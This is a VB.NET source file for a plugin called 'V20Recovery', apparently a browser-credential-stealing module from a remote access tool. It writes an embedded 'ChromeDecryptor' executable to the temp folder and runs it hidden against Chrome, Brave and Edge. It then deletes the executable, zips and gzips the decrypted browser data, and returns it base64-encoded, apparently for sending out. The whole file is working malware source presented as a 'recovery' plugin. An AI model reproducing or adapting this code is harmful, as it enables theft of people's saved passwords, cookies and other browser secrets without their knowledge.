Files
2026-08-27 11:22:34 -06:00

92 lines
3.2 KiB
VB.net

Imports System
Imports System.Diagnostics
Imports System.IO
Imports System.IO.Compression
Imports System.Text
Imports System.Threading
Imports Microsoft.VisualBasic
Namespace V20Recovery
Public Class Plugin
Public Shared Function RunRecovery(Method As Integer) As String
Dim text3 As String
Try
Select Case Method
Case 7
Dim tempPath As String = Path.GetTempPath()
Dim text As String = Path.Combine(tempPath, "XRecovery.zip")
Dim flag As Boolean = File.Exists(text)
If flag Then
Try
File.Delete(text)
Catch ex As Exception
End Try
End If
Plugin.RunChromiumDecryptions()
Thread.Sleep(5000)
Dim text2 As String = Path.GetTempPath() + "XRecovery"
Using zipFile As Ionic.Zip.ZipFile = New Ionic.Zip.ZipFile(Encoding.GetEncoding("cp866"))
zipFile.ParallelDeflateThreshold = -1L
zipFile.UseZip64WhenSaving = Ionic.Zip.Zip64Option.Always
zipFile.CompressionLevel = Ionic.Zlib.CompressionLevel.[Default]
zipFile.AddDirectory(text2)
zipFile.Save(text2 + ".zip")
Directory.Delete(text2, True)
End Using
Return Convert.ToBase64String(Plugin.Compress(File.ReadAllBytes(text2 + ".zip")))
End Select
text3 = Nothing
Catch ex2 As Exception
text3 = Nothing
End Try
Return text3
End Function
Public Shared Function Compress(input As Byte()) As Byte()
Dim array As Byte()
Using memoryStream As MemoryStream = New MemoryStream()
Dim bytes As Byte() = BitConverter.GetBytes(input.Length)
memoryStream.Write(bytes, 0, 4)
Using gzipStream As Global.System.IO.Compression.GZipStream = New Global.System.IO.Compression.GZipStream(memoryStream, Global.System.IO.Compression.CompressionMode.Compress)
gzipStream.Write(input, 0, input.Length)
gzipStream.Flush()
End Using
array = memoryStream.ToArray()
End Using
Return array
End Function
Public Shared Sub RunChromiumDecryptions()
Dim text As String = Path.Combine(Path.GetTempPath(), "XRecovery", "Browsers")
Dim flag As Boolean = Directory.Exists(text)
If flag Then
Directory.Delete(text, True)
End If
Thread.Sleep(3000)
Dim flag2 As Boolean = Not Directory.Exists(text)
If flag2 Then
Directory.CreateDirectory(text)
End If
Dim text2 As String = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString() + ".exe")
File.WriteAllBytes(text2, My.Resources.ChromeDecryptor)
Dim array As String() = New String() {"chrome", "brave", "edge"}
For Each text3 As String In array
Plugin.RunProcessHidden(text2, String.Format(" {0} -o ""{1}""", text3, text))
Next
File.Delete(text2)
End Sub
Private Shared Sub RunProcessHidden(path As String, args As String)
Dim flag As Boolean = Not File.Exists(path)
If Not flag Then
Using process As Process = New Process()
process.StartInfo.FileName = path
process.StartInfo.Arguments = args
process.StartInfo.CreateNoWindow = True
process.StartInfo.UseShellExecute = False
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
process.Start()
process.WaitForExit()
End Using
End If
End Sub
End Class
End Namespace